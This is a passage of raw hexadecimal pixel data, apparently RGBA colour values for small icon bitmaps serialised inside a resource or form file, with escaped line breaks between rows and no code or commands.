FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF51781FFF5C9D01FF5A9B02FF5A9B\n      03FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C02FF5B9C\n      02FF5A9B03FF5A9B02FF5B9F00FF627847FFB6B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE2EBECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFF5FB\n      FAFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF6D241FFF8B0801FF890802FF8909\n      03FF880A02FF880A02FF880A02FF880A02FF880A02FF880A02FF880A02FF880A\n      02FF890903FF880902FF8C0800FF734947FF26282AFF0C0E0DFF102126FF1EC0\n      DFFF2E81FFFF350FD6FF331EDAFF3321DBFF3321DBFF3321DBFF3321DBFF3322\n      DBFF3320DBFF3221DAFF3220E1FF57538CFF567520FF5B9004FF5C8F06FF5C90\n      07FF5C9008FF5D9008FF5D9008FF5D9008FF5D9008FF5D9008FF5D9008FF5C90\n      08FF5C8F07FF5B8F06FF5D9104FF647846FFBCBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFF68BAD4FF0883B2FF84D4D8FF70D9E2FF79DDE3FF53A8C1FF0AA4C7FFCCDC\n      E2FFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF6A2420FF7A0A06FF7A0C08FF7B0E\n      09FF7B0E0AFF7B0E0AFF7B0E0AFF7B0D0AFF7B0D0AFF7B0E0AFF7B0E0AFF7B0E\n      0AFF7B0E09FF7A0C08FF7C0A06FF714846FF262828FF0E0F10FF100E0EFF0E00\n      00FF0E6267FF28CDFFFF332FDAFF3316CFFF3321D2FF3322D2FF3322D2FF3320\n      D2FF3321D1FF3220D1FF311ED7FF58518FFF586C20FF608400FF5D8200FF6081\n      00FF5F8301FF5F8201FF5F8201FF5F8201FF5F8201FF5F8201FF5F8201FF5F83\n      01FF5E8100FF5D8200FF618500FF667347FFB9B9B9FFFFFFFFFFFFFFFFFFECF3\n      F4FFFFFFFFFFE0F6F5FFD4F3F7FFC78065FFCEAE9FFFD5FEFFFFFDFCF9FFFAFB\n      FAFFF9FBFAFFFFFFFFFFFFFFFFFF9E9E9EFF642422FF730B08FF740D0BFF730F\n      0CFF750F0DFF740F0DFF740F0DFF74100DFF74100DFF740F0DFF750F0DFF730C\n      0BFF700409FF710A08FF750A08FF6E4949FF241F1FFF0B0808FF0F1010FF0000\n      00FF706664FF000300FF1FC4D7FF2D82F7FF340ECDFF331ED1FF331FD2FF3320\n      D2FF3220D0FF311ED1FF301BD7FF56508FFF2BA7C4FF17E3FFFF1ADFFFFF1CE0\n      FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0FFFF1CE0\n      FFFF1BE0FFFF19DFFFFF16E5FFFF4E94A3FFB9B9B9FFFFFFFFFFFDFCFBFF81DF\n      E4FFF6F9F9FFFFFFFFFFE05C34FF87705EFFA35D41FFE99175FFFFFFFFFFCAEB\n      EDFF9FE3E7FFFFFFFFFFFFFFFFFF9E9E9EFF602524FF6E0A09FF6D0D0CFF6E0D\n      0EFF6E0F0DFF6F0E0FFF6F0E0FFF6F0E0FFF6F0E0FFF6F0E0FFF6D0A0CFF8722\n      17FF9A832BFF801F16FF6C0406FF6A4949FF2E99B3FF0B2935FF030000FF7C7D\n      7DFFFFFFFFFF9E9B9BFF040000FF15686CFF27CDFFFF302DD8FF3213CEFF321E\n      D0FF301ED1FF301CCFFF2D19D6FF554F8EFF30A3B6FF1DDBFDFF20D8F9FF21D9\n      F9FF23D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF22D9F9FF23D9\n      F9FF22D9F9FF1FD8F9FF1DDEFFFF50919BFFBEBEBEFFAAAAAAFFD6D8D8FFE0E0\n      DFFFF4FFFFFFDFA079FF9C835EFFD57346FFA97C55FF96683DFFFFDBC8FFF8FF\n      FFFFBAC2C2FFCDCCCCFFD4D4D4FFA0A0A0FF5F2524FF6C0909FF6B0D0DFF6C0D\n      0DFF6C0E0EFF6C0E0EFF6D0F0FFF6D1010FF6D1010FF6E0E0EFF6C1112FF3778\n      7BFF80732BFF506430FF6F0A0FFF694949FF508320FF2EDCD4FF0F7BA5FF3524\n      23FF908B8BFF5A5A5AFF080808FF0E0503FF0F1613FF1DC4D6FF2C80F6FF320B\n      CCFF3119D0FF2F1BCFFF2C18D6FF554E8DFF28A5C1FF14E1FFFF14D8FBFF14D8\n      FBFF14D8FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9FBFF14D9\n      FBFF13D9FBFF12D8FBFF0EE2FFFF4C92A2FFBEBEBEFFDDDDDDFF626060FF758D\n      8EFFC0F0E6FF1F22CCFF3B3CECFF494DBAFF1F21D0FF0B09D1FF3C62C5FFA9D1\n      CCFF898787FF636363FFFFFFFFFF9E9E9EFF602320FF6E0A09FF6B0C0CFF6706\n      06FF630000FF711209FF6F110EFF6D0F0FFF6E1010FF710B09FF403051FF2678\n      8DFFD4B594FFB39D87FF954949FF684747FF4E8123FF59A200FF45BD5DFF1BC7\n      F7FF051D2AFF070000FF100F0EFF101010FF0F0D0CFF0D0000FF14686DFF24CC\n      FFFF2F2BD8FF2F0FCEFF2C18D6FF554E8DFFA56C20FFE28800FFDA8600FFDA84\n      00FFD98100FFD78000FFD88000FFD88100FFD88100FFD88100FFD88100FFD881\n      00FFDC7E00FFDC7D00FFE38200FF917147FFC2C2C2FFBBBBBBFF828282FF9795\n      95FF9BA3A2FFA56B80FFCE8592FFB5828FFFB35564FF91536BFFA17178FF9090\n      8FFF909090FF888888FFE1E1E1FFA1A1A1FF3F3BB6FFAF6759FF620000FFA865\n      5BFFE5E2F3FFA0ABFFFF702D52FF6D0C09FF6E1010FF6C0707FF7D6561FFD1C2\n      A9FFB9BDA2FFD5CBA6FFAE6C57FF674747FF508225FF57A90EFF5AA507FF59A7\n      0BFF31DBD4FF1481A9FF0C0000FF0F0A0AFF101010FF0F0F0FFF080000FF141B\n      19FF16BBCFFF2A7CF6FF2E05D1FF554D8DFF9A7225FFD3930FFFD09312FFD193\n      14FFD19415FFD09214FFCD8E11FFCC8A0EFFCC8A0FFFCC8A0FFFCD8A0EFFCC8A\n      0EFFA6923DFF909656FFC68E16FF8D7347FFA1A1A1FF7A7A7AFF8D8D8DFFAAA9\n      A9FFB1AEB0FFA7A690FFD8956FFF9AAE9FFFDD6B3EFF7A9D8BFFC89883FF8E90\n      91FF9B9B9BFF757575FF8A8A8AFF9E9E9EFF3F35A5FFE0B79EFFE9E1E9FFA3A2\n      FFFF805296FF8A2713FF6E0902FF6C0E0EFF6C0F0FFF700202FF409F9FFF00FF\n      FFFF249BA0FF00FFFFFF428D8FFF6B4747FF508325FF5BAB0FFF5CA912FF5DA9\n      12FF62A500FF4DC264FF23CEFAFF0F2935FF0D0100FF0C0C0CFF3F3F3FFFC5C2\n      C2FF4B3935FF0C6065FF22CDFFFF555892FF9B7226FFD49710FFD09513FFD296\n      16FFD29517FFD29717FFD29717FFD29817FFD29516FFD19415FFD6910EFF9D9D\n      58FF2FB7E1FF2BB8E4FF6EAF99FF8D7548FF8F8F8FFF7D7D7DFF8F8E8EFFB6B2\n      B1FFB0E1E3FFD8CBC8FF8CB1BEFF9FC0C5FF99BCC5FF899FA9FFDEDFDCFFB1D4\n      D5FFA4A09FFF878787FF8A8A8AFF979797FF3B2F9EFF8A80F0FF8374E7FF8979\n      E5FF8B82ECFF8C8CFFFF83416AFF7A130FFF791616FF770F0FFF714242FF49A5\n      A5FF55A8AAFF47ABAAFF773737FF6B4848FF528326FF5EAD10FF5FAB13FF60AC\n      16FF60AC17FF61A90DFF62AD12FF40E1D8FF1F87ACFF0A0000FF635E5EFFFFFF\n      FFFF515151FF0A0100FF121C1AFF4F838AFF9C7325FFD59910FFD39713FFD398\n      15FFD39816FFD39717FFD39717FFD39717FFD39817FFD39817FFD8970FFF8EA8\n      74FF2BBCEAFF27BAEBFF59B5B3FF8C754AFFA8A8A8FF909090FF8C8686FF75BB\n      BFFFFAFFFFFF82B3BEFF4E9FB2FF53A5B7FF53A6B8FF48A3B9FFD8E7EBFFB0EF\n      F2FF94A5A7FF888686FF9B9B9BFFA1A1A1FF3C2F9EFF9289F2FF9084EAFF8E80\n      E6FF8B80EAFF9291FFFF86446AFF7C120FFF7D1717FF7D1717FF801212FF8208\n      08FF810707FF810606FF7D0A0AFF6B4949FF528425FF60AF10FF61AD13FF62AE\n      15FF61AE16FF63AE17FF63AD15FF67A900FF57C665FF2ACEF8FF435C67FF170A\n      08FF403F3EFF0F0F0FFF0F0C0CFF484747FF9C7323FFD7990BFFD3990EFFD498\n      10FFD49811FFD49A11FFD49A11FFD49A11FFD49A11FFD49A11FFD7990CFFBD9D\n      30FF5DB2ADFF49B5C2FFA2A759FF8E7446FFBCBCBCFFFFFFFFFFB6B6B6FFC3BE\n      BEFFFFFFFFFFAFD3DDFF80BCC9FF77B5C4FF80BDCDFFACD6E1FFBFDAE1FFFFFF\n      FFFF929090FFECECECFFFDFDFDFF9E9E9EFF4238A6FFCF9C93FF8C6FCDFFBCBB\n      FFFFE0BDAEFF8E2414FF780401FF7B1111FF7B1111FF7B1111FF7B1111FF7C11\n      11FF7C1010FF7B0E0EFF810A0AFF6A4747FF528323FF62B10BFF60AE0EFF61AF\n      10FF63AF11FF62AF11FF62AF11FF62AF11FF65AD07FF65B00DFF3DDED0FF1B85\n      A8FF090000FF0D0908FF0A0A0AFF474747FFA17930FFDCA733FFD8A431FFD8A4\n      33FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFDCA3\n      2EFFD8A436FFD2A53EFFDFA62EFF998255FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF4A42ADFFBF7B6CFF861E15FFA262\n      6DFF9983D2FFC6CDFFFFB0706EFF8C2D2DFF8F3333FF8F3333FF8F3333FF8D33\n      33FF8E3333FF8C3131FF903232FF775555FF598A30FF76BB33FF73B831FF75B7\n      33FF74B933FF74B933FF74B933FF74B933FF74B933FF75B831FF7AB51CFF6ACE\n      7AFF49D4EAFF34555CFF322E2DFF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBEFFBFBEBEFFBFBEBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFD4D4D4FFBDBDBEFFBDBEBEFFBEBE\n      BEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD\n      BDFFBEBEBEFFBDBEBEFFBDBDBEFFDEDEDEFFB7B7BAFFFFFFFFFFFFFFFFFFFFFE\n      FFFF9686BCFF4B3189FF51378DFF51378DFF51378DFF51378DFF51378DFF5237\n      8DFF50368DFF51358DFF533790FF605974FFC0BDB3FF606BFFFF6D07A4FF55A0\n      06FF00D812FF0FCA12FF0FCB12FF0FCA12FF0FCA12FF0FCA12FF0FCA12FF0FCA\n      12FF0ECA11FF0DCA10FF0DD30FFF4C8B49FF6F433AFF92402DFF90402EFF9040\n      2DFF96361FFF40BBD8FF28E3FFFF2ADFFFFF2ADFFFFF2AE6FFFF308FF5FF3A1F\n      DEFF3A27E0FF3928E1FF3928E7FF595490FF3567B4FF1D75FCFF1E76FCFF1F76\n      FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76\n      FCFF1F76FCFF1E75FCFF1C75FCFF54719EFFBCBCBCFFFFFFFFFFFFFFFFFFCDC6\n      DDFF9281B1FF492D7BFF4E3482FF4E3482FF4E3482FF4E3482FF4E3482FF4E34\n      82FF4D3482FF4D3381FF4C3283FF605672FFC6C0B5FF5A65FFFF67079EFFFF00\n      04FF807013FF00D613FF0FC313FF11C313FF0EC310FF09C10BFF0AC10CFF10C3\n      12FF10C312FF0FC60CFF0DD105FF4D5F86FF714333FF8A3A20FF893C22FF8A3D\n      23FF913214FF3DB0C9FF26D9FFFF29D5FCFF29D5FCFF28DCFEFF2E86E5FF371C\n      D3FF3725D5FF3624D5FF3522DAFF585291FF2B50C1FF1753FFFF1955FFFF1A56\n      FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56\n      FFFF1A55FFFF1954FFFF1753FFFF4C63A3FFB9B9B9FFFFFFFFFFFFFFFFFFBBB1\n      CDFF4A2F79FF4A2E79FF4C307BFF4C307BFF4C307BFF4C307BFF4C307BFF4C31\n      7BFF4B2F79FF4A2F78FF492D7BFF5F556FFFC3C0B5FF5964FFFF66079EFFFF0F\n      03FFFF0210FFB64610FF00D310FF04C107FF0DC20EFF59D55AFF4CD14DFF00BD\n      00FF0BC804FF0EC011FF0C17F8FF4A47A4FF6E3F2BFF873616FF883917FF873A\n      1AFF902E09FF3BAEC6FF24D9FFFF27D5FCFF27D5FCFF26DCFDFF2C85E4FF3519\n      D0FF3522D3FF331FD3FF321ED8FF57508FFF283BC0FF1131FFFF1333FFFF1535\n      FFFF1535FFFF1535FFFF1535FFFF1635FFFF1635FFFF1535FFFF1535FFFF1535\n      FFFF1535FFFF1333FFFF1131FFFF4955A2FFB9B9B9FFFFFFFFFFFFFFFFFFBFB5\n      CEFF8570A3FF452872FF492E75FF492E75FF492E75FF492E75FF492F75FF4A2D\n      75FF482E74FF482C73FF472974FF5F546EFFC4BFB3FF5862FFFF65059DFFFF0F\n      01FFFF1010FFFF050FFFDA1F04FF5DD058FFFFFFFFFFFFFFFFFFFFFFFFFFFEFF\n      F9FF1BA14BFF0802FFFF0A05FFFF49499EFF6D3C25FF87330DFF85340FFF8737\n      11FF8D2B00FF37AEC4FF21D7FFFF23D3FCFF23D3FCFF22DBFDFF2983E3FF3214\n      CEFF321FD0FF2F1DD1FF2F1AD5FF564F8FFF282BB9FF1015F5FF1317F5FF1419\n      F5FF1519F5FF151AF5FF151AF5FF151AF5FF151AF5FF151AF5FF1519F5FF1519\n      F5FF1419F5FF1217F5FF1014F5FF494B9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF8E7AA8FF42266EFF4A2D73FF4A2D73FF4A2D73FF4A2D73FF4A2E73FF482C\n      73FF472B72FF472971FF452873FF5D546BFFC4BEB3FF5661FFFF65049CFFFF0D\n      00FFFF0E0EFFFF0D0DFFFF1317FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFEBE1FFFF0000FFFF0808FFFF49499EFF6D3D24FF853209FF84330CFF8534\n      0DFF8E2A00FF36ACC3FF20D8FFFF22D4FCFF22D4FCFF21DBFDFF2882E3FF3113\n      CEFF311CD1FF2F1ACFFF2C18D6FF554E8DFFBD2323FFFB0909FFFB0C0CFFFB0E\n      0DFFFB0E0EFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0E\n      0EFFFB0D0DFFFB0B0BFFFB0808FFA04647FFB9B9B9FFFFFFFFFFFFFFFFFFBBB0\n      CBFF806A9EFF44286FFF4A2E74FF4A2E74FF4A2E74FF4A2E74FF4A2E74FF492D\n      74FF482C73FF472A72FF452973FF5D546DFFC4BEB3FF5963FFFF66059DFFFF0E\n      01FFFF1010FFFF0505FFFF7575FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF1C1CFFFF0606FFFF49499EFF6E3F24FF8B380CFF86350DFF8435\n      0EFF8E2B00FF37ACC3FF20D8FFFF23D4FCFF23D4FCFF22DBFDFF2882E3FF3113\n      CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFBE2323FFFF0C0CFFFF0E0EFFFF0F\n      0FFFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF0F\n      0FFFFF0E0EFFFF0C0CFFFF0909FFA04646FFB9B9B9FFFFFFFFFFFFFFFFFFBCB2\n      CCFF4A2E73FF472971FF492D73FF492D74FF4A2E74FF4A2E74FF4A2E74FF492D\n      74FF482C73FF472A72FF452873FF5D546DFFC4BEB3FF5A64FFFF67089EFFFF11\n      03FFFF0F0FFFFF0505FFFF7070FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF1717FFFF0606FFFF49499EFF6F3F25FF8C3B0EFF8C3C11FF8B3B\n      11FF8D2B00FF36ACC3FF20D7FFFF23D4FCFF23D4FCFF22DBFDFF2882E3FF3113\n      CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFBE2323FFFF0E0EFFFF1111FFFF11\n      11FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF0F\n      0FFFFF0E0EFFFF0C0CFFFF0909FFA04646FFB9B9B9FFFFFFFFFFFFFFFFFFD6CF\n      DFFF9787B1FF4C2E76FF4D3175FF492D72FF482C72FF482C72FF482C72FF472B\n      72FF462A71FF452870FF462972FF5D546DFFC4BEB3FF5B65FFFF68099FFFFF14\n      06FFFF1515FFFF1111FFFF0C0BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFDDD0FFFF0000FFFF0909FFFF49499EFF703F25FF8F3E0FFF8D4012FF8F41\n      14FF963704FF3DB0C5FF22D8FFFF21D3FCFF21D3FCFF21DBFDFF2782E2FF3013\n      CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFBD2424FFFB0F0FFFFB1212FFFB14\n      14FFFB1515FFFB1414FFFB1111FFFB1010FFFB0F0FFFFB0F0FFFFB0F0FFFFB0F\n      0FFFFB0E0EFFFB0C0CFFFB0909FFA04747FFB9B9B9FFFFFFFFFFFFFFFFFFF5F2\n      F7FF9787B1FF52347CFF573B82FF573B82FF563A81FF543880FF53377DFF5337\n      7DFF53377DFF55377DFF573984FF5F546EFFC4BEB3FF5C66FFFF6A0AA0FFFF16\n      08FFFF1717FFFF0807FFCF3B40FF5AE7FAFFFFFFFFFFFFFFFFFFFFFFFFFFEDFF\n      FEFF27C3FAFF0F0FFEFF0F09FFFF49499EFF713F26FF914110FF914313FF9244\n      16FF983A06FF45B4C6FF2FDBFFFF32D8FCFF2FD8FCFF2EDEFDFF3388E5FF3B1D\n      D1FF3C27D5FF3C26D5FF3E26DBFF564F8FFFBDBABAFFFAF6F6FFFAF6F6FFFAF6\n      F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6\n      F6FFFAF6F6FFFAF6F6FFFAF6F6FFA09E9EFFB9B9B9FFFFFFFFFFFFFFFFFFBDB1\n      CDFF745C98FF573A82FF593D83FF593D85FF593D85FF593D84FF593D84FF593D\n      84FF593C84FF573A83FF593A85FF5F556EFFC4BEB3FF5C66FFFF6A0AA0FFFF14\n      07FFFF0200FFAC6871FF15F9FFFF23E4FDFF1EE2FBFF59E8FBFF4CE7FBFF18E1\n      FBFF29E9FCFF2AEBFBFF1228FFFF48479EFF724025FF934310FF934513FF9446\n      15FF9B3C05FF46B7C6FF2FDCFFFF32D9FCFF32D9FCFF31E0FDFF398CE7FF4323\n      D5FF412BD7FF3F29D5FF3F26DCFF564F8FFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FFB9B9B9FFFFFFFFFFFFFFFFFFBFB3\n      CFFF6D5394FF563982FF583B84FF583C84FF583C84FF583B84FF583B84FF583B\n      84FF583B84FF573A83FF5A3987FF5D526DFFC3C0B5FF5964FFFF69039CFFFF00\n      00FF769AA8FF14F8FFFF28E4FDFF28E4FCFF28E4FCFF23E4FCFF24E4FCFF28E4\n      FCFF27E4FCFF25E7FCFF26FAFFFF4B649CFF714023FF95440BFF93440EFF9445\n      10FF9B3C00FF44B6C6FF2DDEFFFF30DAFCFF30DAFCFF2FE1FDFF368CE9FF401F\n      D5FF4027D7FF3F25D7FF4024DEFF554E8DFFBDBDBDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FFC0C0C0FFFFFFFFFFFFFFFFFFF3F1\n      F6FFA193B9FF6A4F91FF6D5493FF6D5493FF6D5493FF6D5493FF6D5493FF6D54\n      93FF6D5493FF6C5392FF6F5596FF69607AFFC7C3BAFF7379FFFF792EB2FF6ECC\n      D2FF39F5FFFF45E8FFFF45E8FFFF45E8FFFF45E8FFFF45E8FFFF46E8FFFF44E8\n      FFFF45E8FFFF44E8FFFF45EDFFFF5BA5ACFF77482FFFA45F33FFA15C31FFA25C\n      33FFA85424FF5CC3D4FF47E3FFFF49E0FFFF49E0FFFF49E6FFFF519DEFFF5A3D\n      DBFF5845DDFF5844DDFF5945E1FF615B9CFFB7B7B7FFF7F7F7FFF7F7F7FFF7F7\n      F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7\n      F7FFF7F7F7FFF7F7F7FFF7F7F7FFA9A9A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      